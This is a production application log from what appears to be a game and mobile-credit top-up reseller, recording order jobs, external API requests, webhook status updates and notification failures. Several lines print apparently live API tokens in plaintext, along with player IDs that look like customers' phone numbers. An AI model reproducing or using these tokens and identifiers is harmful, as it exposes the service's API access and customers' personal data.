[2026-03-24 19:32:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ws7bjKC-1774369850","operation_id":164117,"count":3} 
[2026-03-24 19:32:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ws7bjKC-1774369850","operation_id":164117,"user_id":587,"notification_type":"order_approved","reference_id":179231} 
[2026-03-24 19:32:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ws7bjKC-1774369850","operation_id":164117,"user_id":1734,"notification_type":"order_approved","reference_id":179228} 
[2026-03-24 19:32:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ws7bjKC-1774369850","operation_id":164117,"user_id":1734,"notification_type":"order_approved","reference_id":179229} 
[2026-03-24 19:32:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ws7bjKC-1774369850","operation_id":164117,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:32:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ws7bjKC-1774369850","operation_id":164117,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:32:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ws7bjKC-1774369850","operation_id":164117,"processed":3,"errors":0} 
[2026-03-24 19:32:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ws7bjKC-1774369850","operation_id":164117,"processed":3,"errors":0} 
[2026-03-24 19:32:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ws7bjKC-1774369850","operation_id":164117} 
[2026-03-24 19:32:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 59  
[2026-03-24 19:32:04] production.INFO: Handling job for order: 179232  
[2026-03-24 19:32:04] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:32:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:32:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/57/params?qty=1&uuid=4ea02002-0f85-4d65-a92e-fccfff7de566&Player_ID=52359693760  
[2026-03-24 19:32:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/57/params?qty=1&uuid=4ea02002-0f85-4d65-a92e-fccfff7de566&Player_ID=52359693760","has_body":false} 
[2026-03-24 19:32:05] production.INFO: Operation sent successfully {"operation_id":164120,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-BNAgsjP-1774369925","amount":44.36999999999999744204615126363933086395263671875,"status":"processing","product":"3000+850UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:32:05"}},"processed_data":{"order_number":"ORD-BNAgsjP-1774369925","amount":44.36999999999999744204615126363933086395263671875,"status":"processing","product":"3000+850UC","game":"PUBG"}} 
[2026-03-24 19:32:07] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 19:32:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1734  
[2026-03-24 19:32:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1734  
[2026-03-24 19:32:17] production.INFO: SendAcceptReject: Notification queued {"user_id":562,"notification_type":"request_rejected","reference_id":18682} 
[2026-03-24 19:32:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 562  
[2026-03-24 19:32:34] production.INFO: SendAcceptReject: Notification queued {"user_id":1103,"notification_type":"request_approved","reference_id":18683} 
[2026-03-24 19:32:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1103  
[2026-03-24 19:32:43] production.INFO: Constructing job for order: 179233  
[2026-03-24 19:32:46] production.INFO: Handling job for order: 179233  
[2026-03-24 19:32:46] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:32:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:32:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=ec6a1b07-01c8-4911-a018-fc78e8cca1e6&Player_ID=0953876701  
[2026-03-24 19:32:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=ec6a1b07-01c8-4911-a018-fc78e8cca1e6&Player_ID=0953876701","has_body":false} 
[2026-03-24 19:32:47] production.INFO: Operation sent successfully {"operation_id":164121,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-2inbK-1774369967","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:32:47"}},"processed_data":{"order_number":"ORD-2inbK-1774369967","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:33:27] production.INFO: Constructing job for order: 179234  
[2026-03-24 19:33:29] production.INFO: Handling job for order: 179234  
[2026-03-24 19:33:29] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:33:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:33:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/15/params?qty=1&uuid=2ed38074-2623-4824-aeec-0bfebca5fad8&Player_ID=0941702702  
[2026-03-24 19:33:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/15/params?qty=1&uuid=2ed38074-2623-4824-aeec-0bfebca5fad8&Player_ID=0941702702","has_body":false} 
[2026-03-24 19:33:29] production.INFO: Operation sent successfully {"operation_id":164122,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-f5UzXYp-1774370009","amount":422.1344000000000278305378742516040802001953125,"status":"processing","product":"400 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:33:29"}},"processed_data":{"order_number":"ORD-f5UzXYp-1774370009","amount":422.1344000000000278305378742516040802001953125,"status":"processing","product":"400 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:33:35] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-mlHbMgFa-1774369796","status":"completed","notes":[],"codes":[]}} 
[2026-03-24 19:33:35] production.INFO: Processed webhook data (normalized) {"id":"ORD-mlHbMgFa-1774369796","status":"completed","codes":[],"notes":[]} 
[2026-03-24 19:33:35] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:33:35] production.INFO: SendAcceptReject: Notification queued {"user_id":442,"notification_type":"order_approved","reference_id":179227} 
[2026-03-24 19:33:35] production.INFO: Order updated successfully. Order ID: 179227, Status: completed  
[2026-03-24 19:33:35] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-mlHbMgFa-1774369796","status":"completed","codes_count":0} 
[2026-03-24 19:33:35] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 442  
[2026-03-24 19:34:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03"} 
[2026-03-24 19:34:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","total_operations":5,"sites_count":2} 
[2026-03-24 19:34:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-tmRYG-1774365381","ORD-Ms1W22Xr-1774369896","ORD-BNAgsjP-1774369925"]} 
[2026-03-24 19:34:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:34:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Ms1W22Xr-1774369896","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 19:34:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-Ms1W22Xr-1774369896","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 19:34:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:34:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1515,"notification_type":"order_approved","reference_id":179230} 
[2026-03-24 19:34:03] production.INFO: Order updated successfully. Order ID: 179230, Status: completed  
[2026-03-24 19:34:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Ms1W22Xr-1774369896","status":"completed","codes_count":0} 
[2026-03-24 19:34:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 19:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-BNAgsjP-1774369925","operation_id":164120} 
[2026-03-24 19:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:34:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"skipped":2,"updates_prepared":1} 
[2026-03-24 19:34:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:34:03] production.ERROR: Operation not found for external_order: ORD-Ms1W22Xr-1774369896 in chunk 1 {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:34:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"chunk_number":1,"processed":0,"errors":1,"total_operations":0,"total_orders":0,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:34:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_processed":0,"total_errors":1,"chunks_processed":1} 
[2026-03-24 19:34:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":1} 
[2026-03-24 19:34:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":1} 
[2026-03-24 19:34:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":2,"order_ids":["ORD-2inbK-1774369967","ORD-f5UzXYp-1774370009"]} 
[2026-03-24 19:34:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:34:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":2} 
[2026-03-24 19:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122} 
[2026-03-24 19:34:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 19:34:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:34:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"count":1} 
[2026-03-24 19:34:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"count":1} 
[2026-03-24 19:34:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"user_id":1515,"notification_type":"order_approved","reference_id":179233} 
[2026-03-24 19:34:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:34:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:34:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"processed":1,"errors":0} 
[2026-03-24 19:34:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"processed":1,"errors":0} 
[2026-03-24 19:34:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"roN4LcEgB6amGWyVdTZGu3y0n0V9aswx","execution_time":"2026-03-24 19:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122} 
[2026-03-24 19:34:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1515  
[2026-03-24 19:34:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1515  
[2026-03-24 19:34:10] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-BNAgsjP-1774369925","status":"completed","notes":[],"codes":[]}} 
[2026-03-24 19:34:10] production.INFO: Processed webhook data (normalized) {"id":"ORD-BNAgsjP-1774369925","status":"completed","codes":[],"notes":[]} 
[2026-03-24 19:34:10] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:34:11] production.INFO: SendAcceptReject: Notification queued {"user_id":102,"notification_type":"order_approved","reference_id":179232} 
[2026-03-24 19:34:11] production.INFO: Order updated successfully. Order ID: 179232, Status: completed  
[2026-03-24 19:34:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-BNAgsjP-1774369925","status":"completed","codes_count":0} 
[2026-03-24 19:34:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 102  
[2026-03-24 19:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 19:35:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 19:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 19:35:05] production.INFO: async() رجع: true  
[2026-03-24 19:35:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 19:35:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 19:35:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 19:35:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 19:35:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 19:35:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 19:35:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 19:35:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 19:35:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 19:35:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 19:35:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 19:35:20] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"order_approved","reference_id":179216} 
[2026-03-24 19:35:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 19:35:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 14  
[2026-03-24 19:36:01] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"order_rejected","reference_id":179216} 
[2026-03-24 19:36:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 19:36:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 19:36:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04"} 
[2026-03-24 19:36:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","total_operations":2,"sites_count":2} 
[2026-03-24 19:36:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-tmRYG-1774365381"]} 
[2026-03-24 19:36:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:36:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 19:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:36:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 19:36:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 19:36:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1,"order_ids":["ORD-f5UzXYp-1774370009"]} 
[2026-03-24 19:36:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:36:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1} 
[2026-03-24 19:36:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 19:36:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:36:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"count":1} 
[2026-03-24 19:36:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"count":1} 
[2026-03-24 19:36:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"user_id":125,"notification_type":"order_approved","reference_id":179234} 
[2026-03-24 19:36:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:36:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:36:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"processed":1,"errors":0} 
[2026-03-24 19:36:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122,"processed":1,"errors":0} 
[2026-03-24 19:36:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"btTsOvXadRlW5q9NrhlhwiRYqm6Hbadc","execution_time":"2026-03-24 19:36:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f5UzXYp-1774370009","operation_id":164122} 
[2026-03-24 19:36:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 125  
[2026-03-24 19:36:12] production.INFO: Constructing job for order: 179235  
[2026-03-24 19:36:13] production.INFO: Handling job for order: 179235  
